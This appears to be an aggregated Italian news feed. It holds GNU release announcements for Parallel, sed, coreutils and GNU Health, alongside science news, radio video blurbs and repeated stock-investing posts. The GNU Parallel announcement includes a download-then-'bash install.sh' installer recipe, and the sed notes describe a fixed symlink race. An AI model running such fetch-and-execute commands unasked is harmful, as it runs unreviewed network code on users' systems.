• ore 17.00 – Giro dei Fossi di Livorno in battello: alla scoperta dei luoghi della memoria dell’antifascismo e della guerra. Imbarco Fortezza Nuova.
• ore 18.00 – Aperitivo presso Ristorante “Il Covo”, Scali delle Pietre 8.
La partecipazione al trekking con aperitivo è GRATUITA
Posti disponibili: massimo 30 partecipanti
Per iscrizioni entro il 12 maggio scrivere a:

 

parallel @ Savannah: GNU Parallel 20260422 ('Artemis II') released

22 Aprile 2026 ore 23:50

GNU Parallel 20260422 ('Artemis II') has been released. It is available for download at: lbry://@GnuParallel:4

Quote of the month:

  It is a fantastic tool for decades!
    -- Ops_Mechanic@reddit

New in this release:

  • Remote jobs are spawned via pipe to perl, so environment can be bigger. This is a major rewrite.
  • --pipe-part -a supports -L/-N if zextract is installed.
  • --pipe-part -a supports .gz, .bz2, .zst-files if zextract is installed.
  • Comments in code is redone.
  • Bug fixes and man page updates.


GNU Parallel - For people who live life in the parallel lane.

If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.


About GNU Parallel


GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.

If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.

GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.

For example you can run this to convert all jpeg files into png and gif files and have a progress bar:

  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif

Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:

  find . -name '*.jpg' |
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200

You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/

You can install GNU Parallel in just 10 seconds with:

    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
       fetch -o - http://pi.dk/3 ) > install.sh
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
    70727536 3428aa9e 9a136b9a 7296dfe4
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
    $ bash install.sh

Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1

Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.

When using programs that use GNU Parallel to process data for publication please cite:

O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.

If you like GNU Parallel:

  • Give a demo at your local user group/team/colleagues
  • Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
  • Get the merchandise https://gnuparall ... igns/gnu-parallel
  • Request or write a review for your favourite blog or magazine
  • Request or build a package for your favourite distribution (if it is not already there)
  • Invite me for your next conference


If you use programs that use GNU Parallel for research:

  • Please cite GNU Parallel in you publications (use --citation)


If GNU Parallel saves you money:



About GNU SQL


GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.

The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.

When using GNU SQL for a publication please cite:

O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.


About GNU Niceload


GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.

“Carburante fino a maggio. Dopo non so, nessuno lo sa”, l’avviso di O’Leary ad di Ryanair. Il Paese che rischia di più

23 Aprile 2026 ore 10:09
"Per maggio le compagnie petrolifere rassicurano, ma su giugno non abbiamo certezze”. Michael O'Leary, amministratore delegato di Ryanair fa il punto sulla crisi del cherosene provocato dalla guerra in Iran e dalla chiusura dello Stretto di Hormuz. Se la guerra in Medio Oriente dovesse perdurare...

"Uccisi dall'Iran e non dalla tempesta gli agenti italiani e lo 007 'M' del Mossad". La rivelazione

22 Aprile 2026 ore 16:01
Ci sarebbe l'Iran e non una tempesta anomala dietro la morte dell'agente del Mossad "M" e dei due 007 italiani, Claudio Alonzi e Tiziana Barnobi. Era il 28 maggio del 2023 e il fatto suscitò molto scalpore, intanto per l'evento atmosferico eccezionale che sembrò stare alla base del...

Ryanair cambia le regole in aeroporto, check-in e bag drop chiuderanno prima

22 Aprile 2026 ore 15:49
Non c’è pace per chi, per piacere o per lavoro, è costretto a spostarsi in aereo. Dal 10 novembre Ryanair cambierà infatti gli orari di chiusura di check-in e bag drop. La compagnia ha comunicato che i due servizi si fermeranno 60 minuti prima della partenza programmata, mentre oggi la...

Ecco perché escort e calciatori non sono indagati, l'inchiesta è sullo sfruttamento. Caccia ai conti degli arrestati e ragazze testimoni

22 Aprile 2026 ore 14:49
Un doppio binario investigativo, soldi che evaporano all’estero e un mosaico di nomi che affiorano dai telefoni sequestrati. L’inchiesta della Procura di Milano sul presunto giro di escort, favoreggiamento e sfruttamento della prostituzione entra nella sua fase più delicata: quella in cui i...

Camion supera lo spartitraffico e si schianta contro una betoniera: il video

22 Aprile 2026 ore 14:20
Un grave incidente tra due camion ha sconvolto un’autostrada della California, dove uno dei mezzi pesanti ha sfondato la barriera centrale e ha invaso la corsia opposta, finendo contro un camion utilizzato per il trasporto di cemento. Il violento scontro frontale ha provocato una esplosione...

Tumori freddi, ecco la molecola che li rende visibili e riapre la strada all’immunoterapia

22 Aprile 2026 ore 12:19
Strappare ai tumori il loro mantello dell’invisibilità e costringerli a mostrarsi al sistema immunitario. È questa la direzione indicata da una ricerca internazionale pubblicata sulle pagine della rivista specializzata Cancer Discovery, firmata da gruppi di IFOM, Università di Torino e...

Tracce di “vita organica” su Marte, Curiosity trova molecole inedite

22 Aprile 2026 ore 11:49
Curiosity ha individuato su Marte una nuova e ampia varietà di molecole organiche mai rilevate nei test condotti nel corso degli anni. Il risultato è stato ottenuto grazie a un esperimento di wet chemistry che, finora, non era mai stato eseguito fuori dalla Terra. In un campione roccioso raccolto...

sed @ Savannah: sed-4.10 released [stable]

22 Aprile 2026 ore 04:00


This is to announce sed-4.10, a stable release.

It's been more than 3.5 years and quite a few new bug fixes.
Special thanks to Paul Eggert, Bruno Haible and Collin Funk
for all their help, and especially to Bruno for all the gnulib
support and thorough and indefatigable testing and analysis.

There have been 92 commits by 9 people in the 180 weeks since 4.9.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

  Arkadiusz Drabczyk (2)
  Ash Roberts (1)
  Brun Haible (1)
  Bruno Haible (5)
  Collin Funk (5)
  Hans Ginzel (1)
  Jim Meyering (60)
  Paul Eggert (16)
  Weixie Cui (1)

Jim
 [on behalf of the sed maintainers]
==================================================================

Here is the GNU sed home page:
    https://gnu.org/s/sed/

Here are the compressed sources:
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.gz   (2.7MB)
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.xz   (1.7MB)

Here are the GPG detached signatures:
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.gz.sig
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.xz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.org/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  SHA256 (sed-4.10.tar.gz) = TRef+vkuxNzsVB98Ayvhw7mhhW9JcK25WlBSIXAvUnc=
  SHA3-256 (sed-4.10.tar.gz) = ftB7Hf2uN4RnayBEgasV7KmqZqCxBUj7e+Am6WDaiKk=
  SHA256 (sed-4.10.tar.xz) = uOchgrLslqNXTimYxHt6qmTMIM4ADY6awxPMB87PKMc=
  SHA3-256 (sed-4.10.tar.xz) = bVWJvXR28fvhgP1XTpej6t8V+Bh2YI1lL6aGBy1cG5c=

Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'
from coreutils-9.2 or OpenBSD's cksum since 2007.

Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify sed-4.10.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096/0x7FD9FCCB000BEEEE 2010-06-14 [SCEA]
        Key fingerprint = 155D 3FC5 00C8 3448 6D1E  EA67 7FD9 FCCB 000B EEEE
  uid                   [ unknown] Jim Meyering <jim@meyering.net>
  uid                   [ unknown] Jim Meyering <meyering@fb.com>
  uid                   [ unknown] Jim Meyering <meyering@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key jim@meyering.net

  gpg --recv-keys 7FD9FCCB000BEEEE

  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=sed&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify sed-4.10.tar.gz.sig

This release is based on the sed git repository, available as

  git clone https://https.git.savannah.gnu.org/git/sed.git

with commit 89b7a2224d4faa9d8baf76094b1232ad1477ef3e tagged as v4.10.

For a summary of changes and contributors, see:

  https://gitweb.git.savannah.gnu.org/gitweb/?p=sed.git;a=shortlog;h=v4.10

or run this command from a git-cloned sed directory:
  git shortlog v4.9..v4.10

This release was bootstrapped with the following tools:
  Autoconf 2.73.1-b400b
  Automake 1.18.1.91
  Gnulib 2026-04-19 15211966deb52d4cae425c655177a815a88d3fc0

NEWS

* Noteworthy changes in release 4.10 (2026-04-21) [stable]

** Bug fixes

  sed 's/a/b/g' (and other global substitutions) now works on input
  lines longer than 2GB. Previously, matches beyond the 2^31 byte offset
  would evoke a "panic" (exit 4).
  [bug present since the beginning]

  'sed --follow-symlinks -i' no longer has a TOCTOU race that could let
  an attacker swap a symlink between resolution and open, causing sed to
  read attacker-chosen content and write it to the original target.
  [bug introduced in sed 4.1e]

  sed no longer falsely matches when back-references are combined with
  optional groups (.?) and the $ anchor.  For example, this no longer
  falsely matches the empty string at beginning of line:
    $ echo ab | sed -E 's/^(.?)(.?).?\2\1$/X/'
    Xab
  [bug present since "the beginning"]

  In --posix mode, sed no longer mishandles backslash escapes (\n,
  \t, \a, etc.) after a named character class like [[:alpha:]].
  For example, 's/^A\n[[:alpha:]]\n*/XXX/' would fail to match the
  trailing newline, treating \n as a literal backslash and an 'n'
  rather than a newline.  This happened when an earlier backslash
  escape in the same regex had already been converted, shifting the
  in-place normalization buffer.
  [bug introduced in sed 4.9]

  sed --debug no longer crashes when a label (":") command is compiled
  before the --debug option is processed, e.g., sed -f<(...) --debug.
  [bug introduced in sed 4.7 with --debug]

  sed no longer rejects the documented GNU extension 'a**' (equivalent
  to 'a*') in Basic Regular Expression (BRE) mode.  Previously, this
  worked only with -E (ERE mode), even though grep has always accepted
  it in BRE mode.
  [bug present since "the beginning"]

  sed no longer rejects "\c[" in regular expressions
  [bug present since the beginning]

  'sed --follow-symlinks -i' no longer mishandles an operand that is a
  short symbolic link to a long symbolic link to a file.
  [bug introduced in sed 4.9]

  Fix some some longstanding but unlikely integer overflows.
  Internally, 'sed' now more often prefers signed integer arithmetic,
  which can be checked automatically via 'gcc -fsanitize=undefined'.

** Changes in behavior

  In the default C locale, diagnostics now quote 'like this' (with
  apostrophes) instead of `like this' (with a grave accent and an
  apostrophe).  This tracks the GNU coding standards.

  'sed --posix' now warns about uses of backslashes in the 's' command
  that are handled by GNU sed but are not portable to other
  implementations.

** Build-related

  builds no longer fail on platforms without the <getopt.h> header or
  getopt_long function.
  [bug introduced in sed 4.9]


Midland CB 8001 Pro: NON è una CB normale! Recensione completa + test SSB

21 Aprile 2026 ore 12:30

💾

Oggi vediamo la novità in casa @MidlandWorld, piu esattamente il CB 8001 PRO!
Una radio che oltre a moltissime caratteristiche ne ha una particolare: la SSB!
#midland #8001pro #cb

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coreutils @ Savannah: coreutils-9.11 released [stable]

20 Aprile 2026 ore 16:10


This is to announce coreutils-9.11, a stable release.

Notable changes include:
 - cut(1), nl(1), and un/expand(1) are multi-byte character aware
 - cut(1) supports new -w, -F, -O options for better compatibility
 - cat(1) and yes(1) use zero-copy I/O on Linux (up to 15x faster)
 - date(1) now parses dot delimited dd.mm.yy format
 - cksum --check uses more defensive file name quoting
 - shuf -i operates up to 2x faster by using unlocked stdio
 - wc -l operates up to 4.5x faster on hosts with neon instructions
 - wc -m is up to 2.6x faster when processing multi-byte characters

There have also been many bug fixes and other changes
as summarized in the NEWS below.

There have been 306 commits by 12 people in the 10 weeks since 9.10
Thanks to everyone who has contributed!

  Bruno Haible (2)                Paul Eggert (15)
  Chris Down (2)                  Pádraig Brady (156)
  Collin Funk (91)                Sam James (1)
  Dr. David Alan Gilbert (1)      Sylvestre Ledru (17)
  Gabriel (1)                     Weixie Cui (2)
  Lukáš Zaoral (2)                oech3 (19)

Pádraig [on behalf of the coreutils maintainers]
==================================================================

Here is the GNU coreutils home page:
    https://gnu.org/s/coreutils/

Here are the compressed sources:
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.gz   (16MB)
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.xz   (6.3MB)

Here are the GPG detached signatures:
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.gz.sig
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.xz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.org/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  SHA256 (coreutils-9.11.tar.gz) = IDO4owScBr/0mp486nK99Gg7zQy+uXUhHdVtuvi3Nq4=
  SHA3-256 (coreutils-9.11.tar.gz) = TwFrSgPuppf+jNggT+aXj037UfVVS2BmYBxXiPLYKxs=
  SHA256 (coreutils-9.11.tar.xz) = OUAk7aCllVIXztqc0SAeZdyPo6opwpURNaSVIdV8PMM=
  SHA3-256 (coreutils-9.11.tar.xz) = RkpNMip8O4ly+z3Fef9X20AsotbT1ycBZ5UbG84SiNM=

Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'
from coreutils-9.2 or OpenBSD's cksum since 2007.

Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify coreutils-9.11.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096/0xDF6FD971306037D9 2011-09-23 [SC]
        Key fingerprint = 6C37 DC12 121A 5006 BC1D  B804 DF6F D971 3060 37D9
  uid                   [ultimate] Pádraig Brady <P@draigBrady.com>
  uid                   [ultimate] Pádraig Brady <pixelbeat@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key P@draigBrady.com

  gpg --recv-keys DF6FD971306037D9

  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=coreutils&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify coreutils-9.11.tar.gz.sig

This release is based on the coreutils git repository, available as

  git clone https://https.git.savannah.gnu.org/git/coreutils.git

with commit c01fd163a47468a8296fb369f5233853bb551bb6 tagged as v9.11.

For a summary of changes and contributors, see:

  https://gitweb.git.savannah.gnu.org/gitweb/?p=coreutils.git;a=shortlog;h=v9.11

or run this command from a git-cloned coreutils directory:

  git shortlog v9.10..v9.11

This release was bootstrapped with the following tools:
  Autoconf 2.73.1-b400b
  Automake 1.18.1
  Gnulib 2026-04-19 fb7312fa8d3df29f0ca0678f669b9a5b88a078ec
  Bison 3.8.2

NEWS

* Noteworthy changes in release 9.11 (2026-04-20) [stable]

** Bug fixes

  'dd' now always diagnoses partial writes correctly upon write failure.
  Previously it may have indicated that only full writes were performed.
  [This bug was present in "the beginning".]

  'fold' will no longer truncate output when encountering 0xFF bytes.
  [bug introduced in coreutils-9.8]

  'fold' is again responsive to its input.  Previously it would have delayed
  processing until 256KiB was read from the input.
  [bug introduced in coreutils-9.8]

  'kill --help' now has links to valid anchors in the html manual.
  [bug introduced in coreutils-9.10]

  When configured with --enable-systemd, the commands 'pinky',
  'uptime', 'users', and 'who' no longer consider the systemd session
  classes 'greeter', 'lock-screen', 'background', 'background-light',
  and 'none' to be users.
  [bug introduced in coreutils-9.4]

  'pwd' on ancient systems will no longer overflow a buffer
  when operating in deep paths longer than twice the system PATH_MAX.
  [bug introduced in coreutils-9.6]

  'stat --printf=%%N' no longer performs unnecessary checks of the QUOTING_STYLE
  environment variable.
  [bug introduced in coreutils-8.26]

  'timeout' no longer exits abruptly when its parent is the init process, e.g.,
  when started by the entrypoint of a container.
  [bug introduced in coreutils-9.10]

** New Features

  'cut' now supports multi-byte input and delimiters.  Consequently
  the -c option is now honored, and no longer an alias for -b, and
  the -n option is now honored, and no longer ignored.
  Also the -d option supports multi-byte delimiters.

  'cut' adds new options for better compatibility:
  The -w,--whitespace-delimited option was added to support blank aligned fields
  and for better compatibility with FreeBSD/macOS.
  The -O option was added as an alias for the --output-delimiter option,
  for better compatibility with busybox/toybox.
  The -F option was added as an alias for -w -O ' '
  for better compatibility with busybox/toybox.

  'date --date' now parses dot delimited dd.mm.yy format common in Europe.
  This is in addition to the already supported mm/dd/yy and yy-mm-dd formats.

** Changes in behavior

  'cksum --check' now uses shell quoting when required, to more robustly
  escape file names output in diagnostics.
  This also affects md5sum, sha*sum, and b2sum.

** Improvements

  'cat' now uses zero-copy I/O on Linux when appropriate, to improve throughput.
  E.g., throughput improved 6x from 12.9GiB/s to 81.8GiB/s on a Power10 system.

  'df --local' recognises more file system types as remote.
  Specifically: autofs, ncpfs, smb, smb2, gfs, gfs2, userlandfs.

  'df' improves duplicate mount suppression, by checking each mount against
  all previously kept entries for the same device, not just the latest one.

  'expand' and 'unexpand' now support multi-byte characters.

  'groups' and 'id' will now exit sooner after a write error,
  which is significant when listing information for many users.

  'install' now allows the combination of the --compare and
  --preserve-timestamps options.

  'fold', 'join', 'numfmt', 'uniq' now use more consistent blank character
  determination on non GLIBC platforms.  For example \u3000 (ideographic space)
  will be considered a blank character on all platforms.

  'nl' now supports multi-byte --section-delimiter characters.

  'shuf -i' now operates up to two times faster on systems with unlocked stdio
  functions.

  'tac' will now exit sooner after a write error, which is significant when
  operating on a file with many lines.

  'timeout' now properly detects when it is reparented by a subreaper process on
  Linux instead of init, e.g., the 'systemd --user' process.

  'wc -l' now operates up to four and a half times faster on hosts that support
  Neon instructions.

  'wc -m' now operates up to 2.6 times faster on GLIBC when processing
  non-ASCII UTF-8 characters.

  'yes' now uses zero-copy I/O on Linux to significantly increase throughput.
  E.g., throughput improved 15x from 11.6GiB/s to 175GiB/s on a Power10 system.

** Build-related

  ./configure --enable-single-binary=hardlinks is now supported on systems
  with dash as the system shell at /bin/sh.
  [issue introduced in coreutils-9.10]

  The test suite may have failed with a "Hangup" error if run non-interactively.
  [issue introduced in coreutils-9.10]


Evento Retevis #hamradio

20 Aprile 2026 ore 15:19

💾

Vuoi entrare nel mondo delle radio o sei già un appassionato HAM?
Questo è il momento giusto!

🎯 Retevis ha lanciato un evento con quiz, premi e attività community dove puoi guadagnare punti e vincere radio e gadget!

📅 Evento attivo: 27 Marzo – 25 Aprile
🧠 Quiz ufficiale: dal 16 al 24 Aprile

👉 Partecipa qui:
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Legno solare, la balsa modificata produce elettricità anche al buio

20 Aprile 2026 ore 11:23
Un gruppo di ricercatori cinesi ha trasformato il legno di balsa in un materiale capace di assorbire energia solare, immagazzinarla sotto forma di calore e restituirla dopo il tramonto, fino a generare elettricità attraverso un dispositivo termoelettrico. Lo studio, pubblicato su Advanced Energy...

health @ Savannah: GNU Health GTK client 5.0.2 released

20 Aprile 2026 ore 10:03

Dear community

The GTK client 5.0.2 of the GNU Health Hospital and Health Management system has been released!

This is a maintenance patchset that fixes the following issues:

  • Unknown icon error when registering gnu health local icons
  • Swapped Export - import icons
  • Update connection port number in README file
  • GNU Health GTK client does not automatically discover plugins from gnuhealth_plugins


You can get the latest GNU Health client from GNU.org, Python Package Index or Codeberg.

Happy hacking!

Understanding Price-to-Earnings (P/E) Ratio in Stock Investing

di: admin
19 Aprile 2026 ore 23:01

Understanding the Price-to-Earnings (P/E) Ratio in Stock Investing The Price-to-Earnings (P/E) ratio serves as a fundamental tool for investors to assess a company’s valuation relative to its earnings. This ratio, pivotal in investment analysis, offers insights into a company’s stock value and potential future growth performance. What is the P/E Ratio? At its core, the […]

The post Understanding Price-to-Earnings (P/E) Ratio in Stock Investing appeared first on InfoShop.

Una Super Terra potenzialmente abitabile a soli 10 anni luce, ecco GJ887d

17 Aprile 2026 ore 12:46
A poco più di 10 anni luce dalla Terra, un team internazionale di astrofisici ha individuato una Super Terra che entra tra i candidati più interessanti nella ricerca di vita oltre il Sistema Solare. Il pianeta, chiamato GJ887d, ha una massa almeno sei volte superiore a quella terrestre e orbita...

Trasferire Venezia tra le opzioni per salvarla dall’innalzamento del mare

17 Aprile 2026 ore 10:57
Trasferire la città di Venezia per difenderla dall’innalzamento del livello del mare. È questa l’idea messa sul tavolo da un team internazionale di ricercatori guidato da Piero Lionello dell’Università del Salento e da Robert Nicholls dell’University of East Anglia, per far fronte a uno...

ThinkNode M6 ☀️ Nodo Meshtastic SOLARE definitivo? Test completo Outdoor (LoRa + GPS + IP65)

14 Aprile 2026 ore 12:30

💾

Se cerchi un nodo Meshtastic davvero autonomo per uso outdoor, questo ThinkNode M6 potrebbe essere una soluzione definitiva.

In questo video provo un dispositivo pensato per lavorare in condizioni estreme: pannello solare da 6W, doppia batteria 18650 da 7000mAh, GPS integrato e chip LoRa SX1262.

👉 È davvero in grado di funzionare H24 anche con poco sole?
👉 È adatto per creare una rete Meshtastic stabile in montagna o zone isolate?

Lo scopriamo insieme in questa recensione completa.

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Pozzo di Karahora, la struttura nel Caucaso che sfida la geologia

14 Aprile 2026 ore 11:24
Nel 2011 lo speleologo russo Arthur Zemukov individua nel Caucaso un pozzo profondo oltre quaranta metri con pareti lisce e geometrie regolari, una struttura che i rilievi descrivono come incompatibile con una formazione naturale. La scoperta arriva dopo anni di ricerche tra archivi locali, mappe...

Apuane, scoperto nel marmo di Carrara un minerale sconosciuto: ecco la delchiaroite

14 Aprile 2026 ore 09:21
Nelle Alpi Apuane, dentro una comune cava di marmo di Carrara, è stato rinvenuto un campione di un minerale mai vista prima. I ricercatori dell’Università di Pisa, dopo approfondite analisi, hanno confermato si tratta di qualcosa di nuovo. Il minerale è stato battezzato dai ricercatori, e poi...

RICORDANDO CLAUDIO STRAMBI

13 Aprile 2026 ore 17:32
RICORDANDO CLAUDIO STRAMBI Con profonda tristezza abbiamo appreso la notizia della scomparsa improvvisa di Claudio Strambi. Claudio per noi ha rappresentato molto, è stato un compagno con cui si poteva discutere di tutto in libertà, certi di trovare possibilità di scambio e di confronto aperto. Faceva parte della FAI seguendone convintamente l’attività complessiva. A livello […]

Understanding Price-to-Earnings (P/E) Ratio in Stock Investing

di: admin
12 Aprile 2026 ore 23:00

Understanding the Price-to-Earnings (P/E) Ratio The Price-to-Earnings (P/E) ratio serves as an essential tool for investors who wish to evaluate the valuation of a company concerning its earnings. It is particularly useful for identifying whether a stock may be overvalued, undervalued, or fairly valued in comparison to its peers and historical standards. Definition of P/E […]

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Bennu, la NASA scopre tre domini chimici: acqua e molecole organiche nello stesso campione

1 Aprile 2026 ore 11:08
Nel campione OREX-800066-3 dell’asteroide Bennu, un frammento di materiale grande poche centinaia di micrometri e con una massa dell’ordine dei milligrammi, sono presenti nello stesso volume molecole organiche, minerali formati dall’acqua e composti contenenti azoto, cioè tre ambienti...

Il tempo è un’illusione, gli studi che potrebbero cambiare la fisica

9 Aprile 2026 ore 08:40
Il tempo scandisce ogni gesto della nostra vita. Eppure la fisica contemporanea suggerisce qualcosa per molti versi inaspettato: questa dimensione potrebbe essere una costruzione, più che una componente fondamentale dell’Universo. Nei modelli classici il tempo appare come una variabile che...

Artemis II, la foto “Earthset” entra nella storia: il tramonto della Terra visto dalla Luna emoziona il mondo

8 Aprile 2026 ore 10:18
A quasi 58 anni da Earthrise, lo scatto simbolo dell’era Apollo, l’umanità ha già la sua nuova immagine manifesto dello spazio profondo. Si chiama Earthset ed è il fotogramma che rischia di restare scolpito nella memoria collettiva: la Terra che tramonta dietro l’orizzonte lunare, ripresa...

Understanding Price-to-Earnings (P/E) Ratio in Stock Investing

di: admin
5 Aprile 2026 ore 23:00

Understanding the Price-to-Earnings (P/E) Ratio The Price-to-Earnings (P/E) Ratio serves as an indispensable valuation metric in the sphere of stock investing. It offers investors an intimate glimpse into a company’s valuation relative to its actual earnings, providing a critical tool for determining whether a stock is overvalued, undervalued, or accurately valued, especially in relation to […]

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Artemis II, 54 anni dopo l'Apollo 17 l'America torna verso la Luna. E porta un pezzo d'Italia

2 Aprile 2026 ore 09:43
L'ultima volta era il dicembre del 1972. Eugene Cernan, Harrison Schmitt e Ronald Evans erano a bordo dell'Apollo 17, l'ultima missione lunare della storia. Da allora, per oltre cinquant'anni, nessun essere umano si era più avventurato oltre l'orbita bassa terrestre. Martedì sera, alle 18.35 ora...

Arriva la Luna Rosa: perché si chiama così, come e dove vederla. Il significato simbolico e religioso

1 Aprile 2026 ore 12:43
Nella notte tra l’1 e il 2 aprile tutti con il naso all'insù. Nel cielo stellato si potrà ammirare la Luna Rosa, il primo plenilunio dopo l’equinozio di primavera. Nei secoli è stata definita in vari modi: la luna “dell’erba che cresce”, perché è la prima luna piena dopo...

Il sogno si avvera anche per l’Italia: un nostro astronauta camminerà sulla Luna

31 Marzo 2026 ore 15:26
Un astronauta italiano camminerà sulla Luna: lo prevede l'accordo firmato a Washington dal ministro delle Imprese e del Made in Italy Adolfo Urso, con delega allo spazio, e dall'amministratore capo della Nasa Jared Isaacman. Lo scrive in un post su X il presidente dell'Agenzia Spaziale...

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